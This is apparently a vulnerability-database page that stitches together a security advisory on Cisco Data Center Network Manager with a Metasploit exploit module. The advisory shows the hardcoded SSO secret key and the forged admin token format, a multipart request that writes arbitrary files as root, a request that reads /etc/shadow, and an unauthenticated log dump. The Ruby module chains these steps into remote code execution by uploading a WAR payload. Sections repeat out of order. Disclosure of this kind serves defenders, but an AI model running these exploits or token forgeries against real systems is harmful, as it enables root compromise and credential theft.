Content-Type: text/xml;charset=utf-8
Date: Mon, 03 Sep 2018 00:57:11 GMT
Connection: close
Server: server
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE response SYSTEM "response.dtd">
<response>
<field id="fname">owned</field>
<field id="uploadDir">/tmp/</field>
<file id="whatever">File successfully written to server at 09.02.18 05:57:11 PM</file>
</response>
And our file has been written as root on the server:
[root@dcnm_vm ~]# ls -l /tmp/
(...)
-rw-r--r-- 1 root root 16 Sep 2 17:57 owned
(...)
Finally if we write a WAR file to the JBoss deployment directory, and the server will deploy the WAR file as root, allowing the attacker to achieve remote code execution.
A Metasploit module that exploits this vulnerability has been released with this advisory.
The code below shows the servlet request processing code:
com.cisco.dcbu.web.client.util.DownloadServlet
public void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Credentials cred = (Credentials)((Object)request.getSession().getAttribute("credentials"));
if (cred == null || !cred.isAuthenticated()) {
throw new ServletException("User not logged in or Session timed out.");
}
String showFile = (String)request.getAttribute("showFile");
if (showFile == null) {
showFile = request.getParameter("showFile");
}
File f = new File(showFile);
if (showFile.endsWith(".cert")) {
response.setContentType("application/octet-stream");
response.setHeader("Pragma", "cache");
response.setHeader("Cache-Control", "cache");
response.setHeader("Content-Disposition", "attachment; filename=fmserver.cert;");
} else if (showFile.endsWith(".msi")) {
response.setContentType("application/x-msi");
response.setHeader("Pragma", "cache");
response.setHeader("Cache-Control", "cache");
response.setHeader("Content-Disposition", "attachment; filename=" + f.getName() + ";");
} else if (showFile.endsWith(".xls")) {
response.setContentType("application/vnd.ms-excel");
response.setHeader("Pragma", "cache");
response.setHeader("Cache-Control", "cache");
response.setHeader("Content-Disposition", "attachment; filename=" + f.getName() + ";");
}
ServletOutputStream os = response.getOutputStream();
FileInputStream is = new FileInputStream(f);
byte[] buffer = new byte[4096];
int read = 0;
try {
while ((read = is.read(buffer)) > 0) {
os.write(buffer, 0, read);
}
os.flush();
}
catch (Exception e) {
LogService.log(LogService._WARNING, e.getMessage());
}
finally {
is.close();
}
}
}
As you can see, it's quite simple. It takes a "showFile" request parameter, reads that file and returns to the user. Here's an example of the servlet in action:
Request:
GET /fm/downloadServlet?showFile=/etc/shadow HTTP/1.1
Host: 10.75.1.40
Cookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C;
Response:
HTTP/1.1 200 OK
root:$1$(REDACTED).:17763:0:99999:7:::
bin:*:15980:0:99999:7:::
daemon:*:15980:0:99999:7:::
adm:*:15980:0:99999:7:::
lp:*:15980:0:99999:7:::
(...)
An interesting file to download is /usr/local/cisco/dcm/fm/conf/server.properties, which contains the database credentials as well as the sftp root password, both encrypted with a key that is hardcoded in the source code.
A Metasploit module that exploits this vulnerability has been released with this advisory. This servlet can be accessed by an unauthenticated attacker, and it will return all the log files in /usr/local/cisco/dcm/fm/logs/* in ZIP format, which provide information about local directories, software versions, authentication errors, detailed stack traces, etc [6].
To access it, simply request:
GET /fm/log/fmlogs.zip
Code is not shown here for brevity, but the implementation class is com.cisco.dcbu.web.client.admin.LogZipperServlet.
>> Fix:
For #1, upgrade to DCNM 11.0(1) and above [3].
For #2 and #3, upgrade to DCNM 11.2(1) and above [4] [5].
For #4, it is not clear from Cisco's advisory on which version it was fixed [6].
>> References:
[1] https://www.accenture.com/us-en/service-idefense-security-intelligence
[2] https://www.cisco.com/c/en/us/products/collateral/cloud-systems-management/prime-data-center-network-manager/datasheet-c78-740978.html
[3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass
[4] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex
[5] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld
[6] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-infodiscl
>> Disclaimer:
Please note that Agile Information Security relies on the information provided by the vendor when listing fixed versions or products. Agile Information Security does not verify this information, except when specifically mentioned in this advisory or when requested or contracted by the vendor to do so.
Unconfirmed vendor fixes might be ineffective or incomplete, and it is the vendor's responsibility to ensure the vulnerablities found by Agile Information Security are resolved properly.
Agile Information Security Limited does not accept any responsiblity, financial or otherwise, from any material losses, loss of life or reputational loss as a result of misuse of the information or code contained or mentioned in this advisory.
It is the vendor's responsibility to ensure their products' security before, during and after release to market.
All information, code and binary data in this advisory is released to the public under the GNU General Public License, version 3 (GPLv3).
For information, code or binary data obtained from other sources that has a license which is incompatible with GPLv3, the original license prevails.
For more information check https://www.gnu.org/licenses/gpl-3.0.en.html
================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business
| VAR-201906-0567 | CVE-2019-1620 | Cisco Data Center Network Manager Vulnerabilities related to authorization, permissions, and access control |
CVSS V2: 10.0 CVSS V3: 9.8 Severity: CRITICAL |
A vulnerability in the web-based management interface of Cisco Data Center Network Manager (DCNM) could allow an unauthenticated, remote attacker to upload arbitrary files on an affected device. The vulnerability is due to incorrect permission settings in affected DCNM software. An attacker could exploit this vulnerability by uploading specially crafted data to the affected device. A successful exploit could allow the attacker to write arbitrary files on the filesystem and execute code with root privileges on the affected device.
This issue is being tracked by Cisco bug ID CSCvo64647.
This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should
work on a few versions below 10.4(2).
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2019-1619' ], # auth bypass
[ 'CVE', '2019-1620' ], # file upload
[ 'CVE', '2019-1622' ], # log download
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ],
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ],
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_upload_2019.rb' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2019/Jul/7' ]
],
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Targets' =>
[
[ 'Automatic', {} ],
[
'Cisco DCNM 11.1(1)', {}
],
[
'Cisco DCNM 11.0(1)', {}
],
[
'Cisco DCNM 10.4(2)', {}
]
],
'Privileged' => true,
'DefaultOptions' => { 'WfsDelay' => 10 },
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 26 2019'
))
register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Connect with TLS', true]),
OptString.new('TARGETURI', [true, "Default server path", '/']),
OptString.new('USERNAME', [true, "Username for auth (required only for 11.0(1) and above", 'admin']),
OptString.new('PASSWORD', [true, "Password for auth (required only for 11.0(1) and above", 'admin']),
])
end
def check
# at the moment this is the best way to detect
# check if pmreport and fileUpload servlets return a 500 error with no params
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),
'vars_get' =>
{
'token' => rand_text_alpha(5..20)
},
'method' => 'GET'
)
if res && res.code == 500
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'),
'method' => 'GET',
)
if res && res.code == 500
return CheckCode::Detected
end
end
CheckCode::Unknown
end
def target_select
if target != targets[0]
return target
else
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm', 'fmrest', 'about','version'),
'method' => 'GET'
)
if res && res.code == 200
if res.body.include?('version":"11.1(1)')
print_good("#{peer} - Detected DCNM 11.1(1)")
print_status("#{peer} - No authentication required, ready to exploit!")
return targets[1]
elsif res.body.include?('version":"11.0(1)')
print_good("#{peer} - Detected DCNM 11.0(1)")
print_status("#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit")
return targets[2]
elsif res.body.include?('version":"10.4(2)')
print_good("#{peer} - Detected DCNM 10.4(2)")
print_status("#{peer} - No authentication required, ready to exploit!")
return targets[3]
else
print_error("#{peer} - Failed to detect target version.")
print_error("Please contact module author or add the target yourself and submit a PR to the Metasploit project!")
print_error(res.body)
print_status("#{peer} - We will proceed assuming the version is below 10.4(2) and vulnerable to auth bypass")
return targets[3]
end
end
fail_with(Failure::NoTarget, "#{peer} - Failed to determine target")
end
end
def auth_v11
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm/'),
'method' => 'GET',
'vars_get' =>
{
'userName' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
},
)
if res && res.code == 200
# get the JSESSIONID cookie
if res.get_cookies
res.get_cookies.split(';').each do |cok|
if cok.include?("JSESSIONID")
return cok
end
end
end
end
end
def auth_v10
# step 1: get a JSESSIONID cookie and the server Date header
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm/'),
'method' => 'GET'
)
# step 2: convert the Date header and create the auth hash
if res && res.headers['Date']
jsession = res.get_cookies.split(';')[0]
date = Time.httpdate(res.headers['Date'])
server_date = date.strftime("%s").to_i * 1000
print_good("#{peer} - Got sysTime value #{server_date.to_s}")
# auth hash format:
# username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF
session_id = rand(1000..50000).to_s
md5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s +
"POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF"
md5_str = Base64.strict_encode64(md5)
# step 3: authenticate our cookie as admin
# token format: sessionId.sysTime.md5_str.username
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),
'cookie' => jsession,
'vars_get' =>
{
'token' => "#{session_id}.#{server_date.to_s}.#{md5_str}.admin"
},
'method' => 'GET'
)
if res && res.code == 500
return jsession
end
end
end
# use CVE-2019-1622 to fetch the logs unauthenticated, and get the WAR upload path from jboss*.log
def get_war_path
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm', 'log', 'fmlogs.zip'),
'method' => 'GET'
)
if res && res.code == 200
tmp = Tempfile.new
# we have to drop this into a file first
# else we will get a Zip::GPFBit3Error if we use an InputStream
File.binwrite(tmp, res.body)
Zip::File.open(tmp) do |zis|
zis.each do |entry|
if entry.name =~ /jboss[0-9]*\.log/
fdata = zis.read(entry)
if fdata[/Started FileSystemDeploymentService for directory ([\w\/\\\-\.:]*)/]
tmp.close
tmp.unlink
return $1.strip
end
end
end
end
end
end
def exploit
target = target_select
if target == targets[2]
jsession = auth_v11
elsif target == targets[3]
jsession = auth_v10
end
# targets[1] DCNM 11.1(1) doesn't need auth!
if jsession.nil? && target != targets[1]
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate JSESSIONID cookie")
elsif target != targets[1]
print_good("#{peer} - Successfully authenticated our JSESSIONID cookie")
end
war_path = get_war_path
if war_path.nil? or war_path.empty?
fail_with(Failure::Unknown, "#{peer} - Failed to get WAR path from logs")
else
print_good("#{peer} - Obtain WAR path from logs: #{war_path}")
end
# Generate our payload... and upload it
app_base = rand_text_alphanumeric(6..16)
war_payload = payload.encoded_war({ :app_name => app_base }).to_s
fname = app_base + '.war'
post_data = Rex::MIME::Message.new
post_data.add_part(fname, nil, nil, content_disposition = "form-data; name=\"fname\"")
post_data.add_part(war_path, nil, nil, content_disposition = "form-data; name=\"uploadDir\"")
post_data.add_part(war_payload,
"application/octet-stream", 'binary',
"form-data; name=\"#{rand_text_alpha(5..20)}\"; filename=\"#{rand_text_alpha(6..10)}\"")
data = post_data.to_s
print_status("#{peer} - Uploading payload...")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'),
'method' => 'POST',
'data' => data,
'cookie' => jsession,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
)
if res && res.code == 200 && res.body[/#{fname}/]
print_good("#{peer} - WAR uploaded, waiting a few seconds for deployment...")
sleep 10
print_status("#{peer} - Executing payload...")
send_request_cgi(
'uri' => normalize_uri(target_uri.path, app_base),
'method' => 'GET'
)
else
fail_with(Failure::Unknown, "#{peer} - Failed to upload WAR file")
end
end
end
.
DCNM is widely deloyed in data centres worldwide to manage Cisco devices on a global scale.
The table below lists the affected versions for each vulnerability:
Vulnerability Vulnerable? CVE
<= 10.4(2) 11.0(1) 11.1(1) >= 11.2(1)
Authentication bypass Yes No No No 2019-1619
File upload Yes, auth Yes, auth Yes, unauth No 2019-1620
File download Yes, auth Yes, auth Yes, unauth No 2019-1621
Info disclosure Yes, unauth Yes, unauth Yes, unauth ? 2019-1622
The authentication bypass affects versions 10.4(2), allowing an attacker to exploit the file upload for remote code execution.
In version 11.0(1), authentication was introduced, and a valid unprivileged account is necessary to exploit all vulnerabilities except information discloure.
Amazingly, in version 11.1(1) Cisco removed the authentication for the file upload and file download servlets, allowing an attacker exploit the vulnerabilities without any authentication!
All vulnerabilities were fixed in 11.2(1), except the information disclosure, for which the status is unknown. The Apache Tomcat server is running as root, meaning that the Java shell will run as root.
Agile Information Security would like to thank the iDefense Vulnerability Contributor Program for handling the disclosure process with Cisco [1]. DCNM 11 provides management, control, automation, monitoring, visualization, and troubleshooting across Cisco Nexus® and Cisco Multilayer Distributed Switching (MDS) solutions.
DCNM 11 supports multitenant, multifabric infrastructure management for Cisco Nexus Switches. DCNM also supports storage management with the Cisco MDS 9000 family and Cisco Nexus switch storage functions. By abusing this servlet, an unauthenticated attacker can obtain a valid administrative session on the web interface [3].
The snippet of code below shows what the servlet does:
com.cisco.dcbu.web.client.performance.ReportServlet
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Credentials cred = (Credentials)request.getSession().getAttribute("credentials");
if((cred == null || !cred.isAuthenticated()) && !"fetch".equals(request.getParameter("command")) && !this.verifyToken(request)) {
request.setAttribute("popUpSessionTO", "true");
}
this.doInteractiveChart(request, response);
}
The request is passed on to the verifyToken function, listed below:
private boolean verifyToken(HttpServletRequest httpServletRequest) {
String token = httpServletRequest.getParameter("token");
if(token == null) {
return false;
} else {
try {
FMServerRif serverRif = SQLLoader.getServerManager();
IscRif isc = serverRif.getIsc(StringEncrypter.encryptString("DESede", (new Date()).toString()));
token = URLDecoder.decode(token, "UTF-8");
token = token.replace(' ', '+');
FMUserBase fmUserBase = isc.verifySSoToken(token);
if(fmUserBase == null) {
return false;
} else {
Credentials newCred = new Credentials();
int idx = fmUserBase.getUsername().indexOf(64);
newCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx));
newCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword()));
newCred.setRole(fmUserBase.getRole());
newCred.setAuthenticated(true);
httpServletRequest.getSession().setAttribute("credentials", newCred);
return true;
}
} catch (Exception var8) {
var8.printStackTrace();
return false;
}
}
}
As it can be seen in the line:
FMUserBase fmUserBase = isc.verifySSoToken(token);
the HTTP request parameter "token" gets passed to IscRif.verifySsoToken, and if that function returns a valid user, the request is authenticated and credentials are stored in the session.
Let's dig deeper and find out what happens in IscRif.verifySsoToken. The class implementing is actually com.cisco.dcbu.sm.server.facade.IscImpl:
public FMUserBase verifySSoToken(String ssoToken) {
return SecurityManager.verifySSoToken(ssoToken);
}
Digging further into SecurityManager.verifySSoToken:
com.cisco.dcbu.sm.server.security.SecurityManager
public static FMUserBase verifySSoToken(String ssoToken) {
String userName = null;
FMUserBase fmUserBase = null;
FMUser fmUser = null;
try {
userName = getSSoTokenUserName(ssoToken);
if(confirmSSOToken(ssoToken)) {
fmUser = UserManager.getInstance().findUser(userName);
if(fmUser != null) {
fmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles());
}
if(fmUserBase == null) {
fmUserBase = DCNMUserImpl.getFMUserBase(userName);
}
if(fmUserBase == null) {
fmUserBase = FMSessionManager.getInstance().getFMUser(getSessionIdByToken(ssoToken));
}
}
} catch (Exception var5) {
_Logger.info("verifySSoToken: ", var5);
}
return fmUserBase;
}
As it can be seen in the code above, the username is obtained from the token here:
userName = getSSoTokenUserName(ssoToken);
Digging yet another layer we find the following:
public static String getSSoTokenUserName(String ssoToken) {
return getSSoTokenDetails(ssoToken)[3];
}
private static String[] getSSoTokenDetails(String ssoToken) {
String[] ret = new String[4];
String separator = getTokenSeparator();
StringTokenizer st = new StringTokenizer(ssoToken, separator);
if(st.hasMoreTokens()) {
ret[0] = st.nextToken();
ret[1] = st.nextToken();
ret[2] = st.nextToken();
for(ret[3] = st.nextToken(); st.hasMoreTokens(); ret[3] = ret[3] + separator + st.nextToken()) {
;
}
}
return ret;
}
Seems like the token is a string which is separated by the "separator" with four components, the fourth of which is the username.
Now going back to SecurityManager.verifySSoToken listed above, we see that after the call to getSSoTokenUserName, confirmSSOToken is called:
public static FMUserBase verifySSoToken(String ssoToken) {
(...)
userName = getSSoTokenUserName(ssoToken);
if(confirmSSOToken(ssoToken)) {
fmUser = UserManager.getInstance().findUser(userName);
if(fmUser != null) {
fmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles());
}
(...)
}
public static boolean confirmSSOToken(String ssoToken) {
String userName = null;
int sessionId = false;
long sysTime = 0L;
String digest = null;
int count = false;
boolean ret = false;
try {
String[] detail = getSSoTokenDetails(ssoToken);
userName = detail[3];
int sessionId = Integer.parseInt(detail[0]);
sysTime = (new Long(detail[1])).longValue();
if(System.currentTimeMillis() - sysTime > 600000L) {
return ret;
}
digest = detail[2];
if(digest != null && digest.equals(getMessageDigest("MD5", userName, sessionId, sysTime))) {
ret = true;
userNameTLC.set(userName);
}
} catch (Exception var9) {
_Logger.info("confirmSSoToken: ", var9);
}
return ret;
}
Now we can further understand the token. It seems it is composed of:
sessionId + separator + sysTime + separator + digest + separator + username
And what is the digest? Let's look into the getMessageDigest function:
private static String getMessageDigest(String algorithm, String userName, int sessionid, long sysTime) throws Exception {
String input = userName + sessionid + sysTime + SECRETKEY;
MessageDigest md = MessageDigest.getInstance(algorithm);
md.update(input.getBytes());
return new String(Base64.encodeBase64((byte[])md.digest()));
}
It is nothing more than the MD5 of:
userName + sessionid + sysTime + SECRETKEY
... and SECRETKEY is a fixed key in the code:
private static final String SECRETKEY = "POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF";
... while the separator is a ".":
private static String getTokenSeparator()
{
return System.getProperty("security.tokenSeparator", ".");
}
In summary, this is what happens:
The ReportServlet will happily authenticate any request, as long as it receives a token in the following format:
sessionId.sysTime.MD5(userName + sessionid + sysTime + SECRETKEY).username
The sessionId can be made up by the user, sysTime can be obtained by getting the server Date HTTP header and then converting to milliseconds, and we know the SECRETKEY and the username, so now we can authenticate as any user. Here's an example token:
GET /fm/pmreport?token=1337.1535935659000.upjVgZQmxNNgaXo5Ga6jvQ==.admin
This request will return a 500 error due to the lack of some parameters necessary for the servlet to execute correctly, however it will also successfully authenticate us to the server, which will cause it to return a JSESSIONID cookie with valid authenticated session for the admin user.
Note that the user has to be valid. The "admin" user is a safe bet as it is present by default in all systems, and it is also the most privileged user in the system.
Unfortunately, this technique does not work for 11.0(1). I believe this is not because the vulnerability was fixed, as the exact same code is present in the newer version.
In 11.0(1), the ReportServlet.verifyToken function crashes with an exception in the line noted below:
private boolean verifyToken(HttpServletRequest httpServletRequest) {
(...)
Credentials newCred = new Credentials();
int idx = fmUserBase.getUsername().indexOf(64);
newCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx));
newCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword())); <--- exception occurs here
newCred.setRole(fmUserBase.getRole());
newCred.setAuthenticated(true);
httpServletRequest.getSession().setAttribute("credentials", newCred);
return true;
}
} catch (Exception var8) {
var8.printStackTrace();
return false;
}
(...)
}
The exception returned is a "com.cisco.dcbu.lib.util.StringEncrypter$EncryptionException: javax.crypto.BadPaddingException: Given final block not properly padded".
This will cause execution to go into the catch block shown above, and the function will return false, so the JSESSIONID cookie returned by the server will not have the credentials stored in it.
I believe this is purely a coding mistake - Cisco updated their password encryption method, but failed to update their own code. Unless this ReportServlet code is deprecated, this is a real bug that happens to fix a security vulnerability by accident.
On version 11.0(1), it seems that the ReportServlet has been removed from the corresponding WAR xml mapping file, so requesting that URL now returns an HTTP 404 error.
The code for this servlet is listed below:
com.cisco.dcbu.web.client.reports.FileUploadServlet
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doGet(request, response);
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Credentials cred = (Credentials)((Object)request.getSession().getAttribute("credentials"));
if (cred == null || !cred.isAuthenticated()) {
throw new ServletException("User not logged in or Session timed out.");
}
this.handleUpload(request, response);
}
The code shown above is simple, and the request is passed onto handleUpload:
private void handleUpload(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType(CONTENT_TYPE);
PrintWriter out = null;
ArrayList<String> allowedFormats = new ArrayList<String>();
allowedFormats.add("jpeg");
allowedFormats.add("png");
allowedFormats.add("gif");
allowedFormats.add("jpg");
allowedFormats.add("cert");
File disk = null;
FileItem item = null;
DiskFileItemFactory factory = new DiskFileItemFactory();
String statusMessage = "";
String fname = "";
String uploadDir = "";
ListIterator iterator = null;
List items = null;
ServletFileUpload upload = new ServletFileUpload((FileItemFactory)factory);
TransformerHandler hd = null;
try {
out = response.getWriter();
StreamResult streamResult = new StreamResult(out);
SAXTransformerFactory tf = (SAXTransformerFactory)SAXTransformerFactory.newInstance();
items = upload.parseRequest(request);
iterator = items.listIterator();
hd = tf.newTransformerHandler();
Transformer serializer = hd.getTransformer();
serializer.setOutputProperty("encoding", "UTF-8");
serializer.setOutputProperty("doctype-system", "response.dtd");
serializer.setOutputProperty("indent", "yes");
serializer.setOutputProperty("method", "xml");
hd.setResult(streamResult);
hd.startDocument();
AttributesImpl atts = new AttributesImpl();
hd.startElement("", "", "response", atts);
while (iterator.hasNext()) {
atts.clear();
item = (FileItem)iterator.next();
if (item.isFormField()) {
if (item.getFieldName().equalsIgnoreCase("fname")) {
fname = item.getString();
}
if (item.getFieldName().equalsIgnoreCase("uploadDir") && (uploadDir = item.getString()).equals(DEFAULT_TRUST_STORE_UPLOADDIR)) {
uploadDir = ClientCache.getJBossHome() + File.separator + "server" + File.separator + "fm" + File.separator + "conf";
}
atts.addAttribute("", "", "id", "CDATA", item.getFieldName());
hd.startElement("", "", "field", atts);
hd.characters(item.getString().toCharArray(), 0, item.getString().length());
hd.endElement("", "", "field");
atts.clear();
continue;
}
ImageInputStream imageInputStream = ImageIO.createImageInputStream(item.getInputStream());
Iterator<ImageReader> imageReaders = ImageIO.getImageReaders(imageInputStream);
ImageReader imageReader = null;
if (imageReaders.hasNext()) {
imageReader = imageReaders.next();
}
try {
String imageFormat = imageReader.getFormatName();
String newFileName = fname + "." + imageFormat;
if (allowedFormats.contains(imageFormat.toLowerCase())) {
FileFilter fileFilter = new FileFilter();
fileFilter.setImageTypes(allowedFormats);
File[] fileList = new File(uploadDir).listFiles(fileFilter);
for (int i = 0; i < fileList.length; ++i) {
new File(fileList[i].getAbsolutePath()).delete();
}
disk = new File(uploadDir + File.separator + fname);
item.write(disk);
Calendar calendar = Calendar.getInstance();
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa");
statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime());
}
imageReader.dispose();
imageInputStream.close();
atts.addAttribute("", "", "id", "CDATA", newFileName);
}
catch (Exception ex) {
this.processUploadedFile(item, uploadDir, fname);
Calendar calendar = Calendar.getInstance();
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa");
statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime());
atts.addAttribute("", "", "id", "CDATA", fname);
}
hd.startElement("", "", "file", atts);
hd.characters(statusMessage.toCharArray(), 0, statusMessage.length());
hd.endElement("", "", "file");
}
hd.endElement("", "", "response");
hd.endDocument();
out.close();
}
catch (Exception e) {
out.println(e.getMessage());
}
}
handleUpload is more complex, but here's a summary; the function takes an HTTP form with a parameter "uploadDir", a parameter "fname" and then takes the last form object and writes it into "uploadDir/fname".
However, there is a catch... the file has to be a valid image with one of the extensions listed here:
allowedFormats.add("jpeg");
allowedFormats.add("png");
allowedFormats.add("gif");
allowedFormats.add("jpg");
allowedFormats.add("cert");
However, if you look closely, it is possible to upload any arbitrary content. This is because nothing bad happens until we reach the second (inner) try-catch block. Once inside, the first thing that happens is this:
try {
String imageFormat = imageReader.getFormatName();
... which will cause imageReader to throw and exception if the binary content we sent is not a file, sending us into the catch block:
catch (Exception ex) {
this.processUploadedFile(item, uploadDir, fname);
Calendar calendar = Calendar.getInstance();
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa");
statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime());
atts.addAttribute("", "", "id", "CDATA", fname);
... meaning that the file contents, upload dir and its name are sent into processUploadedFile.
Let's look into that now:
private void processUploadedFile(FileItem item, String uploadDir, String fname) throws Exception {
try {
int offset;
int contentLength = (int)item.getSize();
InputStream raw = item.getInputStream();
BufferedInputStream in = new BufferedInputStream(raw);
byte[] data = new byte[contentLength];
int bytesRead = 0;
for (offset = 0; offset < contentLength && (bytesRead = in.read(data, offset, data.length - offset)) != -1; offset += bytesRead) {
}
in.close();
if (offset != contentLength) {
throw new IOException("Only read " + offset + " bytes; Expected " + contentLength + " bytes");
}
FileOutputStream out = new FileOutputStream(uploadDir + File.separator + fname);
out.write(data);
out.flush();
out.close();
}
catch (Exception ex) {
throw new Exception("FileUploadSevlet processUploadFile failed: " + ex.getMessage());
}
}
Amazingly, this function totally ignores the content, and simple writes the file contents to the filename and folder we have indicated.
In summary, if we send any binary content that is not a file, we can write it to any new file in any directory as root.
If we send the following request:
POST /fm/fileUpload HTTP/1.1
Host: 10.75.1.40
Cookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C;
Content-Length: 429
Content-Type: multipart/form-data; boundary=---------------------------9313517619947
-----------------------------9313517619947
Content-Disposition: form-data; name="fname"
owned
-----------------------------9313517619947
Content-Disposition: form-data; name="uploadDir"
/tmp/
-----------------------------9313517619947
Content-Disposition: form-data; name="filePath"; filename="whatever"
Content-Type: application/octet-stream
<any text or binary content here>
-----------------------------9313517619947--
The server will respond with:
HTTP/1.1 200 OK
X-FRAME-OPTIONS: SAMEORIGIN
Content-Type: text/xml;charset=utf-8
Date: Mon, 03 Sep 2018 00:57:11 GMT
Connection: close
Server: server
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE response SYSTEM "response.dtd">
<response>
<field id="fname">owned</field>
<field id="uploadDir">/tmp/</field>
<file id="whatever">File successfully written to server at 09.02.18 05:57:11 PM</file>
</response>
And our file has been written as root on the server:
[root@dcnm_vm ~]# ls -l /tmp/
(...)
-rw-r--r-- 1 root root 16 Sep 2 17:57 owned
(...)
Finally if we write a WAR file to the JBoss deployment directory, and the server will deploy the WAR file as root, allowing the attacker to achieve remote code execution.
A Metasploit module that exploits this vulnerability has been released with this advisory. An authenticated user can abuse this servlet to download arbitrary files as root [5].
The code below shows the servlet request processing code:
com.cisco.dcbu.web.client.util.DownloadServlet
public void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Credentials cred = (Credentials)((Object)request.getSession().getAttribute("credentials"));
if (cred == null || !cred.isAuthenticated()) {
throw new ServletException("User not logged in or Session timed out.");
}
String showFile = (String)request.getAttribute("showFile");
if (showFile == null) {
showFile = request.getParameter("showFile");
}
File f = new File(showFile);
if (showFile.endsWith(".cert")) {
response.setContentType("application/octet-stream");
response.setHeader("Pragma", "cache");
response.setHeader("Cache-Control", "cache");
response.setHeader("Content-Disposition", "attachment; filename=fmserver.cert;");
} else if (showFile.endsWith(".msi")) {
response.setContentType("application/x-msi");
response.setHeader("Pragma", "cache");
response.setHeader("Cache-Control", "cache");
response.setHeader("Content-Disposition", "attachment; filename=" + f.getName() + ";");
} else if (showFile.endsWith(".xls")) {
response.setContentType("application/vnd.ms-excel");
response.setHeader("Pragma", "cache");
response.setHeader("Cache-Control", "cache");
response.setHeader("Content-Disposition", "attachment; filename=" + f.getName() + ";");
}
ServletOutputStream os = response.getOutputStream();
FileInputStream is = new FileInputStream(f);
byte[] buffer = new byte[4096];
int read = 0;
try {
while ((read = is.read(buffer)) > 0) {
os.write(buffer, 0, read);
}
os.flush();
}
catch (Exception e) {
LogService.log(LogService._WARNING, e.getMessage());
}
finally {
is.close();
}
}
}
As you can see, it's quite simple. It takes a "showFile" request parameter, reads that file and returns to the user. Here's an example of the servlet in action:
Request:
GET /fm/downloadServlet?showFile=/etc/shadow HTTP/1.1
Host: 10.75.1.40
Cookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C;
Response:
HTTP/1.1 200 OK
root:$1$(REDACTED).:17763:0:99999:7:::
bin:*:15980:0:99999:7:::
daemon:*:15980:0:99999:7:::
adm:*:15980:0:99999:7:::
lp:*:15980:0:99999:7:::
(...)
An interesting file to download is /usr/local/cisco/dcm/fm/conf/server.properties, which contains the database credentials as well as the sftp root password, both encrypted with a key that is hardcoded in the source code.
A Metasploit module that exploits this vulnerability has been released with this advisory. This servlet can be accessed by an unauthenticated attacker, and it will return all the log files in /usr/local/cisco/dcm/fm/logs/* in ZIP format, which provide information about local directories, software versions, authentication errors, detailed stack traces, etc [6].
To access it, simply request:
GET /fm/log/fmlogs.zip
